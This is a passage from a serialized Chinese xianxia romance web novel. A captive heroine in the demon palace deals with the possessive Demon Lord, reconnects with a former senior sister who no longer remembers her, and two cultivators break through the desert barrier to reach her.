风沙稀薄下来,面前影影绰绰的似乎是建筑房屋。 谢寒卿往前走。 一切归于沉寂。 不是魔域,他又走出了无妄海。 谢寒卿闭上眼睛,仔细倾听,片刻后,再度提步迈入无妄海中。 就在这时,有人开口唤住他:“你要去魔域?” 谢寒卿回头。 是个一身黑衣,用黑布蒙住脸的少年,他风尘仆仆,衣衫很旧。 无烬走过来:“我跟你一起进去。” 谢寒卿淡淡说:“自便。” 无烬跟了上去:“我记得路,只是我破不开结界。” 谢寒卿脚步一顿,侧目而视。 无烬说:“今天之前,我还是魔域的子民,但现在,魔域已经不欢迎我了。” 他抬起头,直视前方:“可我还是要回去。” “有一个人救了我,现在,我要去救她。” 谢寒卿并不喜欢探听旁人的私事,他道:“你带路,我破开结界。” “好。” 魔宫外。 捧着托盘从澜月阁走出的女修忽然被一缕魔气勾了下裙摆。 她吓了一跳:“谁!” 白晚百无聊赖甩动着手中的黑色长鞭,从柱子后走出来。 女修连忙伏跪在地:“参见鬼母。” “里面的人醒了吗?” “回鬼母,还没醒。” 白晚啧了一声:“到底是什么来头,听说她打伤了魔尊,怎么还能全须全尾躺在这。” 女修伏低身子,并未接话。 白晚:“你走吧。” 见白晚要踏进殿中,那女修忙阻拦:“鬼母!魔尊说了任何人都不得入内!” 白晚拂袖一挥,女修怔了下,乖乖托着托盘离开了。 白晚抬手推开殿门,嘟囔道:“我又不是外人。” 澜月阁里很温暖,烛台上融融火光跳动,躺在床榻上的少女也被笼罩在一片暖色的光中。 白晚盯着她的脸看。 他们都说她以前是白家的二小姐,白晚对此全无印象。 她其实去打听过。 传闻中那位白家二小姐娇纵跋扈,是个惹人讨厌的性子,这么看来……和她倒是挺像的。 但那又如何? 她如今是个魔修,昔日种种,已是过往云烟。 宁竹醒了。 不仅醒了,在看见她的第一眼,还惊喜地坐直了身子:“白晚师姐!” 白晚吓了一跳。 宁竹唤完她的名字之后,也僵住了。 她小心翼翼看向白晚。 魔域崇尚黑色,白晚周身都被黑色包裹着,连发上的簪子都是通体黢黑。 和宁竹记忆中那个张扬明媚,爱穿漂亮法衣的少女大相径庭。 白晚看她一眼,忽然化作一阵黑雾消失不见。 门随即被人推开。 清瘦的影斜斜映入屋内,摇曳的烛火也照不亮他的袍角半分。 唯有那头银发,被镀上一层落日融金般的色泽。 宁竹在看见他的一瞬,下意识缩回了被衾中。 帐幔飘舞。 江似拨开垂帘,靠近床榻。 宁竹在轻轻颤抖。 江似垂眼,倏然笑了下:“就那么怕我?” 宁竹喉头变得很干涩,她努力挤出一个笑来:“魔尊的伤好点没?” “很痛,你用了几分力气,自己不知道?” 宁竹试探着说:“……我帮魔尊包扎?” 见江似没说话,宁竹道:“我的乾坤袋中有上好的伤药,敷在伤口上不会疼的……” “宁竹。” 江似的脸隐藏在面具下,叫人窥探不清他的表情。 “你的乾坤袋里,共有高阶法器十一件,中低阶法器四十六件,丹药一百三十余瓶,符箓六百余张。” 宁竹的表情一点点变得僵硬。 “但若是我没看错,没有第三张千里遁地符。” 江似的眼眸变得幽深一片:“告诉我,你腰上的齿痕是谁留下的,我便将乾坤袋还给你,再放你走。” 宁竹觉得很奇怪。 她和魔尊好像是第一次见面吧,为什么他对此事如此在意? 是他的癖好? 不允许自己看中的猎物被旁人染指? 那如果她告诉他真相…… 宁竹打了个哆嗦,不,她不能说。 魔尊和谢寒卿本就不共戴天,若是被他知道自己和谢寒卿险些…… 他会杀了自己的。 宁竹拿出了毕生的演技,用楚楚可怜的模样看着他:“是我要找的那个人留下的。” 对面之人果然僵住了。 宁竹思绪飞转。 魔尊承诺过不会伤害江似的,江似若是还活着,也是魔域的子民,魔尊对魔域子民似乎很是宽容,赌一把! 宁竹垂着眼眸:“我和他已两心相许,所以我 会只身一人前往魔域寻找他。” 回应她的是一声冷笑:“你要找的,不是两个人么?” “是江似。” 少女轻轻软软的声音滑入耳中。 谎言。 只是江似没想到,谎言竟是如此悦耳。 某一瞬叫他心脏鼓动,血脉逆流。 被衾滑落,布帛撕裂。 宁竹惊慌失措的表情中,两枚重合的痕迹露了出来。 一枚深,一枚浅。 如同两片花瓣,落在她雪白的肌肤上。 江似瞳孔一缩。 他伸出指尖,按压在那两枚齿痕上。 为什么? 许是因为用过灵药,他昨夜留下的印记,已经变得很浅很浅。 而另一枚齿痕,却依然鲜红刺目。 宁竹一把推开他,抓过被子盖住自己,瑟瑟发抖:“……我告诉魔尊答案了,魔尊应该守诺。” 江似僵在原地。 也不知过了多久,他忽地笑了一声:“很不巧,我是个言而无信的人。” 他偏了下头,凑近她:“你与那人感情倒是深,一道吻痕,也使了手段留下印记。” 他掐住她的下巴,笑得恶劣:“把我的吻痕也留下印记,如何?” 江似冰冷的面具几乎贴在宁竹脸上。 她看得到那双眼瞳,幽深偏执,如同燃烧着黑色的烈焰。 宁竹觉得腰上的皮肤刺痛起来。 噬魇兽脊液只有一种情况会让疤痕留下鲜红印记……那就是噬魇兽正在发情,这个时候从它身体里抽出的脊液也会使人意乱情迷。 她在无咎洞府醒来时看到这枚齿痕,才明白为什么他们两人会在灵池中失去意识。 只是宁竹没想到,一枚吻痕而已,竟会被人揪着死死不放。 魔尊果然如同原著中一样,脑子有病。 她的沉默似乎激怒了魔尊。 他手指的力度越来越大,捏得宁竹下巴都快要碎了。 痛,好痛! 宁竹痛得尖声说:“如果魔尊您愿意放了我,也不是不行!” 钳住她下巴的力度猛然泄去。 江似气笑了,他咬牙切齿道:“骗子,不是说你和那人两心相许么?” 宁竹不可理喻地看着他。 果然,不要试图理解一个神经病的脑回路。 她决定保持沉默。 要杀要剐随便吧。 江似对上她麻木的表情,气得跳脚。 他抬手,试图抹去她腰上的痕迹,白皙的皮肤变得一片通红,却也没将痕迹抹掉半分。 宁竹好心提醒:“魔尊,可以把那块皮肤剜掉。” 江似忽然钳住她的腰,将人拉过来,如同一匹饿狼,朝着她的锁骨处重重咬下。 齿间弥漫出血腥味。 宁竹鼻尖冒出细汗,死死咬住唇,没叫出声。 江似放开她。 唇边染了血,妖冶生艳。 江似伸出舌尖,轻轻舔了下唇角。 少女的唇,因为被用力咬住而泛出一种糜丽的红。 像是诱人采撷的浆果。 江似便这么做了。 他轻轻托住她的后颈,覆了上去。 并非情人间慢条斯理的纠缠,而是如同一条恶犬。 含住,吮咬,研磨。 撬开齿关,强势侵入,津液交换。 江似的呼吸很快乱了。 宁竹被迫扬起头,纤弱的颈被弯折出一抹脆弱的弧度。 食髓知味。 唇瓣滚烫,江似如同被投掷到烈火之中,周身血液都在沸腾。 衣裙交缠,银发与青丝乱成一团。 江似忽然尝到了咸味。 他眼神迷茫,从她唇角离开。 宁竹不知何时已经泪流满面。 发髻已经散了,颊边乱发被泪水粘住,瓷白的脸颊泛出一丝薄红,像是釉色。 她睁着眼,直勾勾盯着帐幔,眼角泪珠成串滚落,却没有发出一道哭音。 惊,怒,愧疚…… 无数情绪交缠,江似猛然松开她。 宁竹就如同一只棉布娃娃,歪倒在床榻上。 江似咬牙切齿:“我就那么让你讨厌?” 宁竹没有回答。 她一直在劝慰自己,不过是一具身子,没必要为这个拼命的。 可是止不住的委屈和羞辱还是席卷而来。 宁竹无力地闭上眼。 好了,现在她彻底得罪了这个魔头。 她要死了。 “……对不起。” 闷闷的声音在耳边响起。 宁竹愣了下。 她缓缓睁开眼。 他就立在榻边,银发乱糟糟地垂在肩上,少了几分魔尊的威严。 他死死抿唇,再度重复:“……对不起,我不会了。” 陷入了诡异的沉默。 宁竹竟在他身上看出了紧张和……无措? 外面忽然传来急切的声音:“魔尊!无妄海的结界被强行破坏,有修士闯入了魔域!” 江似看她一眼,凭空消失不见。 只剩下帐幔的流苏微微晃动。 宁竹抱着膝盖在床榻上发了一会儿呆,下了榻。 不要和一个脑子有病的人计较,只要魔尊现在不杀她,她就有逃走的机会。 她来到魔宫后,还没踏出过这间屋子。 宁竹决定趁乱出去走走,先熟悉一下环境。 澜月阁里竟是应有尽有,宁竹进浴房将自己收拾干净,从水光镜里看到了自己肿得像香肠一样的唇。 宁竹:…… 好在她在柜子里翻到了伤药,凉丝丝的雪葵草膏敷上去,一会儿就能消肿。 转完了整个澜月阁,宁竹对着衣橱里琳琅满目的法衣陷入了沉默。 魔域奔放,法衣设计也与修真界大不相同。 满衣橱的法衣,找不出来一件不露胳膊或不露腿的。 宁竹捏着鼻子找出一件露肩的粉色纱衣。 上身的时候,宁竹愣了下。 这件法衣……倒是有点像在南陵城时江似送她的那一件。 宁竹对着水光镜中的自己出了会儿神,推开房门走了出去。 魔宫很大。 宁竹刚开始还小心翼翼,后来发现她在整个魔宫都畅通无阻,侍女侍卫看见她,甚至还会停下来跟她行礼。 宁竹:当大佬的金丝雀原来是这种感觉? 宁竹几乎有点飘了。 直到晃悠到一座气派的宫殿前。 侍卫拦下她:“宁仙子,这里你不能进。” 这是一座没有名字的宫殿。 宁竹猜测这应该是魔尊住的地方,但她决定利用金丝雀的身份试探一二。 “凭什么我不能进呀?”宁竹用矫揉造作的声音说:“魔尊说了我哪里都可以去。” “魔尊的寝殿,只有他自己能进。” 廊庑尽头,带着黑色面具的青年驻足,对宁竹说。 侍卫忙行礼:“屠星大人。” 宁竹僵在了原地。 ……屠星? 曲亦卓的眸光在宁竹身上微微一凝。 眼前之人,给他一种莫名的熟悉感。 约摸又是昔日的记忆在干扰。 曲亦卓对她微微颔首,提步离开。 宁竹却忽然追了上去:“等等!” 曲亦卓停住脚步,回过身。 宁竹眸光闪动:“屠星大人,我叫宁竹。” 檐角魂灯摇晃,叮铃作响。 曲亦卓微笑:“很好听的名字。” 他似乎还有事情,对她点了下头,带着人匆匆离开了。 宁竹盯着他的背影,垂下眼眸。 ……不是江似。 江似不会那么好脾气。 如果论恶劣程度,那个魔头反而更像江似一点。 不! 江似比他好上一千倍,一万倍!—— 作者有话说:嘿嘿嘿嘿嘿 第47章 宁竹在魔宫门口被人拦下。 侍卫面无表情对她说:“宁仙子, 尊上交代,您只可以在魔宫里自由活动。” 宁竹拿出一副商量的语气:“我就在魔宫外面走一圈?” 侍卫不为所动。 方戟寒芒闪动,刺过宁竹的眼。 宁竹默默缩了缩脖子,退回魔宫。 她改道去了魔宫最高处的瞭望台。 这里也有许多侍卫把守, 但没有人管宁竹。 于是宁竹找来一张舒服的躺椅, 又搬来一张矮桌, 开始烹茶烤点心。 期间她还招呼侍卫们来喝一杯她煮的奶茶, 但自然没有人理会她。 宁竹便自顾自地吃吃喝喝, 手下不停编着一朵绒花。 魔宫地势极高, 周边云雾缭绕, 从山下仰望魔宫,只能看得到影影绰绰的宫殿轮廓。 但从山上俯瞰下方便不一样了。 虽然看不全整座城池, 但能看见山脚处交错的道路,鳞次栉比的房屋。 天幕渐渐黯下来。 山顶风大, 有点儿冷, 宁竹又要来一只灵炉,围在温暖的炉火边继续编绒花。 不久后,山下有人影出现。 侍卫们俱都戒备起来。 山脚处有人放出一枚特殊的烟花印记,侍卫们松了一口气:“是鬼母大人。” 宁竹一边嗦奶茶, 一边偷偷瞥着他们操作着瞭望台上的一个复杂阵法。 有点像传送阵,白晚等人很快出现在了瞭望台。 白晚受了伤,大半个身子都浸在血中,脸色惨白。 宁竹惊得跳起来:“白晚师姐!” 白晚蹙眉,气若游丝说:“别叫我这个名字。” 宁竹立刻道:“鬼母大人, 你还好吧?” 白晚沉默了下,对着旁人招手道:“送我回屋。” 一行人很快离开。 有人忍不住问:“是出了什么大事吗?鬼母怎么伤得这般重。” “无妄海的结界被人强行破开,鬼母与对方交手, 但对方逃走了。” “何方神圣?竟连无妄海的结界都能破开?!” “稍安勿躁,尊上亲自前去查看了……” 宁竹在旁边听着,亦是一惊。 不是说修士若无魔尊允许,进不来无妄海吗? 她记得原著后期谢寒卿带人血洗魔域,都是因为魔域里有人背叛魔尊,里应外合打开了无妄海的结界。 谁那么厉害?竟然手撕结界? 人心惶惶,宁竹也不敢继续待在瞭望台,太惹眼了。 她在魔宫中转悠了一圈,打听到了白晚的住处。 她住的地方地势高,远离魔宫主要建筑群,倒是个清幽之处。 只是院落里光秃秃一片,黑色的岩石料峭交错,看着有些荒凉。 宁竹站在院中,看侍女来来往往,中途还有两个医修脚步匆匆进了屋。 没有人管她,但门口看守的侍卫不让她进去。 宁竹百无聊赖,坐在岩石上发了会儿呆。 也不知过了多久,忽然有一道声音在身后响起:“你在做什么?” 宁竹忙收回灵力,回过头。 白晚脸色苍白,青丝散在肩头,披着一件披风。 宁竹立刻起身:“白……鬼母大人,你还好吧?” 白晚的目光落在她脚下摇曳着花枝的烈焰花。 烈焰花顾名思义,形如火焰,花瓣灼红,花蕊金黄,鲜艳的色泽映亮了整座院落。 宁竹抬手就要用灵力将那簇花抹掉,白晚制止她:“等等。” “哪来的?” 宁竹如实说:“澜月阁里发现的,有好多花种,我随手拿了一袋。” 澜月阁里甚至还有各式各样的丝线布匹,原石刻刀,像是怕人无聊,专门备下以供消磨时间的。 白晚抿了下唇。 她到底是什么来头?竟叫魔尊如此上心。 白晚便直来直去问了:“你和尊上以前认识?” 宁竹摇头。 白晚双手环抱,挑剔地打量她。 长得还算漂亮,身材……也还可以。 但魔域美人无数,怎么魔尊偏偏就看上她了? “鬼母大人伤得重不重?”她又问了一句。 白晚对上少女的眼。 她生着一双笑眼,看人的时候全无攻击性,真挚而坦诚。 又来了。 那种熟悉感又来了。 白晚几不可察蹙了下眉,淡声说:“死不了。” 宁竹点点头,看起来好呆。 她忽然摊开手,洁白掌心里托着一朵花瓣灵动的红色绒花。 绒花花蕊金银交错,点缀其中,刹是好看。 宁竹说:“鬼母大人,这个送给你。” 白晚的心弦仿佛忽然被人拨动了下。 她下意识问:“为什么要送我这个?” 宁竹:“这个衬你。” 白晚没说话。 天色已经很晚了。 浅淡的月光覆了两人满身。 宁竹见白晚接过绒花,弯眼笑了笑:“鬼母大人,你好好休息,我先走啦。” 宁竹刚走了两步,身后有人唤住她:“跟我说说以前的事。” 笼在纱衣中的手指缓缓松开,宁竹微微松了一口气,回头笑道:“好呀。” 深巷之中,不知哪家的狗在吠叫。 薄雾弥漫,月色幽蓝。 银发如雪,黑袍加身的江似忽然停住脚步。 他面前的墙壁轰然炸开,孩童放声大哭起来。 屋子里的的确是一个修士,一个头发花白,抱着孩童的修士。 男人伏跪在地,不住磕头:“各位大人饶命,我虽是修士,但我是为了女儿才来到魔域,我没有同任何人起过冲突,也没有残害过魔域子民……” 江似脸色阴沉,看着跪在面前的修士。 旁边一人小心翼翼开口:“尊上,要不……” 他比了一个手势。 毕竟他们的确是追着闯入者留下的痕迹一路追到此处。 江似提步,靠近男人。 男人将孩童笼在怀里,涕泪纵横:“求魔尊别杀我女儿……” 江似抬手,从孩童脖颈带着的长命锁上取下一缕银光飒飒的线。 他瞳孔一缩。 周遭魔修都因为他无意识释放出的威压伏跪在地。 男人怀中的孩童更是吐出一口血来。 所有人都在颤抖。 江似却忽然笑了下,他抬手闯入男人的识海,只是有记忆被人刻意抹去。 搜神术。 谢寒卿果然在这里躲藏过。 江似反倒不急了。 撕破结界,打伤白晚,只身闯入魔域…… 江似唇角笑意慢慢扩大,只是眼神阴冷极了。 谢寒卿……你也有为一个人沉不住气的时候。 一行人如风散去。 孩童伸出软软的手指握住男人的手:“爹爹不哭……” 男人劫后余生瘫倒在地,又哭又笑:“好,不哭……” 一间偏宅中,灯火如豆。 昏黄的光笼在小仙君冰琢雪砌般的脸上。 他唇色淡得几乎透明,白衣上的血迹便愈加触目惊心。 无烬端着托盘走到他面前:“伤,得处理。” 无妄海的结界比他想象得厉害,他认得的那条路,竟会实时变动。 他失去引路丝,险些将两人带到阵眼之中,若非此人修为高深,恐怕他们二人都要折在里面。 他们动静太大,惊动了魔域的人。 幽冥鬼母带着人一路追寻,在他险些以为自己逃不掉的时候,他被那少年拽入了一间屋子。 一切感官都被屏蔽。 抱着孩童的男人惊恐地看着他们,却发不出任何声音。 一股奇特的气息如同水膜铺开,将整间屋子包裹起来。 魔域的人忽视了这间屋子,往另一个方向追去。 他看着少年用搜神术抹去父女二人的记忆。 在那间逼仄的屋子里,少年偏头,剔透如琉璃的眼瞳望着他:“为什么魔域的人能精准知道我们的位置?” 无烬涌出了惭愧:“我……不知道。” 他模模糊糊想起一件事,欢娘险些杀了宁竹的时候,魔尊为什么会忽然出现在那里? 少年走到他身边:“可以进你的识海看一看么?” 无烬犹豫了一会儿,同意了。 少年很快退出了他的识海。 “有人在你识海中留下了印记。”在无烬露出惊讶的一瞬,他说:“我已经帮你抹除了。” 无烬漂泊数年,自诩 见过无数天才,这一刹才明白……萤火岂敢与明月争辉。 他说出了自己的猜测:“是魔尊留下的。” 难怪魔域能放心让修士进入,不知魔尊用了什么手段,被魔域认可为子民之后,能自由进出无妄海,却也会被留下印记。 少年只是淡淡说:“此地不宜久留,你可有藏身之处?” 所以他带着他来到了这里。 这间偏宅……甚至连欢娘都不知道。 也许人都是自私的,同欢娘一起躲躲藏藏百年之久,这些年他感到疲惫的时候越来越多。 于是他备下了这间偏宅,偶尔会来此处躲避上片刻。 无烬回过神,将托盘放下:“这些药很有用。” 谢寒卿看向那些碧血回春丹。 他沉默片刻,开口问:“你曾是天玑山弟子?” 无烬没有回答,他说:“我去外面守着,你尽快疗伤。” 谢寒卿没用碧血回春丹。 他打坐调息,仔细回想无妄海中接触到的阵法。 无妄海的传说流传许久,几百年来却从没有人成功穿过这片诡异的沙漠。 直到魔尊弃苍的出现。 被结界撕裂的伤口在一点点自动愈合。 谢寒卿眼睫低垂,不知道在想些什么。 江似回到了魔宫。 月色浅淡,阶上的影被拉得极长。 江似踏着长阶一步步走到澜月阁,面色忽然一凝。 他呼吸霎时乱了,抓住一个侍卫:“宁竹呢?” 侍卫忙说:“回禀尊上,宁仙子应该是在鬼母那边。” 江似凭空消失。 幽冥鬼母是他用白晚的尸身和残魂一手炼制的。 江似比任何人都清楚,她们根本就不是一个人了。 从前的白晚即使娇纵,也是一个正派修士,视妖魔为死敌。 而如今的幽冥鬼母,不过是有着白晚一缕残魂,与她容貌相似的杀器罢了。 她是疯了么? 真以为幽冥鬼母还是她从前认识的白晚? 江似满身煞气闯进白晚的住处时,看见的便是小院中放着一张矮桌,桌上茶饮咕噜咕噜冒着水汽,宁竹和白晚一人捧着一杯茶饮对坐的模样。 成为幽冥鬼母后的白晚,整日都在杀人,江似已经许久没在她脸上看到这般放松,甚至带着笑意的表情了。 而宁竹……穿着一件露肩的粉色纱裙,很像是他在南陵城时送她的那件法衣。 当然两人都在看到他的那一刹僵住。 宁竹的唇色瞬间变得惨白。 白晚竟然起身,挡在了宁竹面前。 江似站在原地,看着面露戒备的两人。 一个埋藏在心底许久的疑问忽然浮现出来。 分明如今的自己,比从前强上许多。 为什么众人对他却只剩下了畏惧? 江似试图让自己看起来柔和一些,他唇角勾起一抹柔和的幅度,往前走了一步。 白晚声音尖利:“尊上可抓到了闯入者?” 江似的笑容僵住。 宁竹缩在白晚身后,探头探脑看他。 江似忽然气笑了。 魔气勾住宁竹的腰,将人带到自己身边。 江似甚至看到宁竹飞快朝白晚摇头,让白晚不要轻举妄动。 江似的手掌落到宁竹裸露的肩上,居高临下看白晚一眼,要将人带走。 白晚的声音在身后响起:“闯入者身份定然不一般,尊上若是放纵此人潜逃在外,乃是一大隐患。” 江似偏了下头,慢条斯理说:“谁跟你说没抓到人的?” 白晚僵了一下。 江似揽着宁竹的肩,大摇大摆带着人离开了她的院落。 宁竹回头,飞快朝白晚眨了眨眼。 白晚紧攥的双手一点点松开,无声叹了一口气。 江似一路带着人回了澜月阁。 他速度很慢,将宁竹揽着怀中,几乎有些大摇大摆的意味。 一路上侍卫和修士们都在朝他们行礼。 “见过尊上,见过宁仙子。” 在回到澜月阁,门口侍卫狗腿地说:“尊上和宁仙子回来了!宁仙子,属下已经按您的吩咐为您备下了新的沐浴用品,如果不合适属下再调整。” 宁竹的耻感达到了巅峰。 她觉察到揽着她的魔尊在轻轻颤抖。 宁竹偷偷抬头瞥他,发现这人在笑。 他唇微微抿起,笑意很克制,连带着整个人都在微微颤抖。 宁竹盯着他的唇恍惚了一下,佯装淡定:“好,多谢。” 什么叫按照她的吩咐啊啊啊! 只是她沐浴完觉得里面放着的那些浴盐味道太浓,她问了一句有没有味道清淡些的浴盐而已! 江似含着笑意说:“看来你是打算在此处长居?” 宁竹立刻说:“要看魔尊什么时候愿意放我走。” 江似的笑意瞬间收敛。 宁竹觉察到他的情绪变化,缩了缩脖颈看着他,小声说:“很晚了,魔尊不回去睡觉吗?” 魔尊身量很高,满头银发比月华还要耀目三分。 虽然他带着面具,宁竹却觉得面具下一定是一张俊美的脸。 ……忽略他是个魔头的前提下。 魔头江似毫无预兆将宁竹打横抱了起来,一脚踢开房门:“这是我的地盘,我想睡哪里睡哪里。” 看守的侍卫忙将房门掩上,又忍不住好奇地凑在门边。 然而下一秒,便有一道魔气疾如冷拳,直直打向他的眼睛。 侍卫捂着被打肿眼睛哀嚎到底,再不敢凑上去看一眼。 宁竹的身子几乎是在被江似抱起来的一瞬间便变得僵硬无比。 江似将人一路抱到榻上。 宁竹绷得笔直,脑袋不小心磕到床头,发出一声响。 江似“啧”了一声。 宁竹痛得泪花都出来了,却绷着脸不说话。 一只宽大手掌落下。 宁竹下意识闭上眼,瑟缩了下。 手掌轻柔地抚上她磕碰到的地方,像哄孩子一般轻轻揉着:“疼么?” 宁竹不敢置信睁开眼。 江似黑沉如墨的眼盯着她,漫不经心说:“今晚我要睡在这里。” 宁竹的眼神果然又变了。 江似忍不住蜷起手指,叩了一下她的脑门:“喜怒形于色,蠢。” 他蹬掉鞋子,长臂一展将人抱到自己怀中,下巴抵住她的头顶。 宁竹身量娇小,整个人都被他叩在怀中,紧紧相贴。 她不舒服极了,扭动着身子试图让自己和他保持一点距离。 耳后忽然传来一道喑哑的声音:“确定要再动?” 那人手臂收紧,恶劣地蹭了下。 宁竹浑身石化,连呼吸都停滞。 江似哼笑:“别动,我要睡了。” 他仿佛倦极累极,身后很快响起绵长均匀的呼吸。 也不知过了多久。 宁竹缓缓回过身。 银发与青丝交缠,是比恋人更亲密的姿势。 宁竹看他许久,忽然伸出手。 只是指尖快要接触到面具时,又垂了下来。 宁竹不知道是什么时候睡过去的。 身后之人忽然睁开眼。 鎏银面具消失,江似眼神清明,哪有半分睡意。 怀中少女软得不可思议,似乎稍稍一用力,便能将她的骨头都捏碎。 江似闭上眼,听见自己的心脏在疯狂跳动。 他低下头,将自己的下巴埋在她的颈窝中,沉沉睡去。 一夜无梦。 宁竹一觉睡到日上三竿之时。 她舒服地伸了一个懒腰,对上华美的帐幔,呆愣了一下,飞快翻身下榻。 屋子里只有她一个人。 魔尊不知道什么时候已经离开了。 宁竹检查了一下自己的衣物,懊恼地抓了抓头发。 洗漱完之后,宁竹推开门,四周看了一圈,准备去找白晚。 刚走出澜月阁,昨天那位狗腿的侍卫忽冒出一个脑袋笑嘻嘻说:“宁仙子起来了?” 宁竹吓了一跳。 狗腿侍卫说:“尊上走之前给您留了话,说晚上来接你。” 宁竹僵硬了片刻:“接我去哪?” 狗腿侍卫摇头:“尊上没说,只是让宁仙子先稍作准备。” 他嘿嘿一笑:“宁仙子放心,我已经命人送来新的一批衣饰了,宁仙子若是不满意,我再重新准备。” 宁竹咬牙,好啊,衣橱里那些奇形怪状的衣裳,原来就是你准备的。 宁竹忍住,对他招招手,笑盈盈说:“这位……” “我姓叶,宁仙子啊叫我老叶就行。” “好,老叶,你不知道吧,魔尊喜欢的是……” 宁竹脑子转了个弯,到底是在魔域,她穿得太像正派修士也不好,于是她说:“给我准备几件能从头遮到脚的,魔尊喜欢这种。” 老叶将信将疑。 宁竹面色笃定:“相信我,去准备吧。” 老叶犹犹豫豫走了。 宁竹也不去找白晚了,她在魔宫周围瞎溜达了一圈,期间避开人偷偷试了几次往外走,但每一次都毫不例外地失败了。 魔宫周围……果然有结界。 每次她走到魔宫边缘,就会遇到一堵空气墙,然后被弹回来。 法诀也穿不透。 难怪侍卫们只说不让她离开魔宫,但没有人对她亦步亦趋进行监视。 原来是料定了她根本离不开魔宫。 宁竹多次尝试无果,也不想引起旁人注意,只好愁眉苦脸回了澜月阁。 与此同时,魔宫山脚处。 两个身披黑色斗篷的人抬头看着高耸入云的魔宫。 无烬眼神空洞,语气平淡:“这座山登不上的。” “魔宫众人来往都是通过阵法,前些时日有人妄闯魔宫,才进入山阶,便被魔尊感应到,亲手诛杀。” 谢寒卿忽然问:“当时你和你姐姐,是如何穿过无妄海,进入魔域的?” “有人来接。” “我和欢娘四处惹人追杀,实在是走投无路,那天也是抱着破釜沉舟的心思进入无妄海的。” “进入无妄海不久,一个女子出现,问我们为何要来魔域。” “然后她带着我们穿过了无妄海。” 无烬思索了下:“或许从那个时候,我的识海中便被种下了那根丝线。” 谢寒卿的眸光落在魔宫周边缭绕的云雾之上。 修士五感超越凡人,渡劫期修士可以感知方圆百里一切生灵的气息。 但无妄海如此辽阔,魔尊如何能感应到这么远的距离? 况且虽能抽出神识附身旁人,但不可能将神识分裂成千千万万。 如果他没猜错,眼前这座魔宫也与魔尊的神识相连。 所以任何闯入魔宫中的人,都会被发现。 谢寒卿的眉头微微拧起。 魔修便如百足之虫死而不僵,千百年来反复不休,但历任魔尊,却都不似弃苍…… 掩下重重思虑,谢寒卿眸光越发冷冽。 “找机会进去。”他说。 无烬偏头看他。 要怎么进去呢?他想问。 但他没问出口。 总觉得……谢寒卿会有办法。 天色一点点暗下来。 魔宫也亮起点点灯火,但因为整座建筑通体漆黑,就好像是飘浮在半空中的鬼宫。 宁竹坐在桌案前继续编着一朵形如烈焰花的绒花。 这是要送给白晚的。 白晚。 或许她逃出魔域的希望都在她身上了。 白晚师姐已经不记得她了,也不记得从前种种。 但和原著中那个嗜血成性,杀人如麻的幽冥鬼母也不一样,白晚……似乎还保留了一点从前的性格。 她不排除自己的接近,甚至还会在听到从前重重往事时露出怔忡的神色。 这对宁竹而言,是绝对的好事。 来之前其实她想过,江似和曲亦卓哪怕活着,也有可能也会变成白晚这样的状态。 只是用着故人的身躯,却已经全然变了一个人。 毕竟他们几人的魂灯已灭,从世俗意义而言,他们都已经死了。 见到白晚之后,宁竹终于稍稍放下心来。 哪怕是这样的状态,只要他们还活着……就已经很好了。 背后忽然响起一道声音:“在想什么?” 宁竹吓得险些掀翻桌案。 她猛然弹跳起来,靠在墙边,像见鬼了似的看着面前不知何时出现的江似。 江似看清她的打扮后,不悦道:“你这穿的什么。” 宁竹裹着一件从头到脚都是黑色的袍子,因为现在在屋子里,没有带帽兜。 但江似注意到,那帽兜又宽又大,可以将她整张脸都笼罩起来。 宁竹将绒花藏起来:“魔尊要带我去哪里?” 江似双手环抱道胸前,挑眉:“先把衣服换了。” 宁竹不情愿:“我穿这个就好。” 身量高出她许多的江似逼近一步,似笑非笑:“要我帮你换?”—— 作者有话说:东风压倒西风,西风又压倒东风咳咳 会给小谢安排的嘿嘿嘿 第48章 宁竹立刻逃也似的冲到衣橱边, 取出那件露肩的粉色纱裙,躲到屏风后抛了两个法诀。 江似垂眸,看着屏风下堆叠在一起的衣料,弯了下唇角。 片刻后, 宁竹带着一张狐狸面具出来了。 对上江似疑惑的目光, 宁竹率先开口:“魔尊您戴着面具, 我也戴。” 江似瞥她一眼:“走吧。” 宁竹跟着江似亦步亦趋走到魔宫门口。 江似朝她伸出一只手。 宁竹愣住。 “带你去魔域逛逛。” 宁竹小心翼翼问:“我可以离开魔宫吗?” 眼见江似就要收回手, 宁竹忙反手抓住他的袖子, 眨巴着眼看着他。 江似心情很好, 笑吟吟说:“抓稳了, 要是不小心松开手,阵法会瞬间把你撕裂。” 宁竹忙贴近他, 牢牢攥住另一只袖子。 只觉得脚下一轻,宁竹整个人都被一阵黑雾包裹住。 与此同时, 有一双手从侧面环住了她的腰, 将人牢牢扣在了自己怀中。 几乎是同一时间,一批魔修通过传送阵回到了魔宫。 不少人身上挂了彩,骂骂咧咧道:“要我说,就应该请令尊上, 让他彻底禁止那些修士进入无妄海。” “你懂个什么?魔域现在缺人,得尽快吸纳子民……” “那些修士当真心甘情愿来魔域么?” “都别说了,尊上吩咐的事,好好干就是,一个二个哪来那么多怨言?要不是尊上, 你们被魔气侵染的时候就该被绞杀了!” 有人小声说:“我们又不是自愿被魔气侵染的。” 在场霎时安静下来。 “走吧走吧,去医堂疗伤……” 落在人群尾部的一个少年稍稍抬起头,面色如常跟着他们离开。 距离魔宫不远的一处密林, 无烬立在一个阵法前。 谢寒卿坐在阵眼之中,白袍胜雪,垂在脑后的天玄离尘带无风自动。 风吹草动,无烬都会紧张得背脊绷直。 直到确认没有危险,才慢慢放松下来。 阵眼之中的小仙君睫羽低垂,雪砌琼枝的容颜泛着苍白,好似白瓷雕成。 分明是神魂离体之像。 一只通体黢黑的鸟落到旁边的枯枝上。 无烬抬头,空洞的眼盯着那只鸟,袖间抛出一柄飞镖。 片刻后,黑鸟无声从枝头掉落。 无烬转了下眼珠,再度盯着阵法中的谢寒卿。 他让自己在此处守好他的肉身,那他便一定会守好,直到他回来。 魔宫之中,谢寒卿附在名为阿七的少年身上,不着痕迹脱离队伍,躲进了一间无人的房间。 神魂附体,并非夺舍,而是强行压制对方神魂,操控其行事。 此术十分危险,若是不小心,便会叫神魂错乱,甚至无法回到本体。 饶是谢寒卿也十分小心。 他需要皆由这少年识海中的标记进入魔宫,但又要提防弃苍觉查到他的存在。 谢寒卿能 感觉到少年的意识,十分微弱,像是蚂蚁爬过手背时的酥麻感。 他在颤栗,在恐惧,但却没有丝毫反抗之意。 谢寒卿不希望自己撤出少年身体后,他神魂残缺,所以分出了一点神识去安抚对方。 很快那点微弱的意识便安静下来,像是埋葬在土壤中待破土而出的新芽。 少年的瞳孔微微变红。 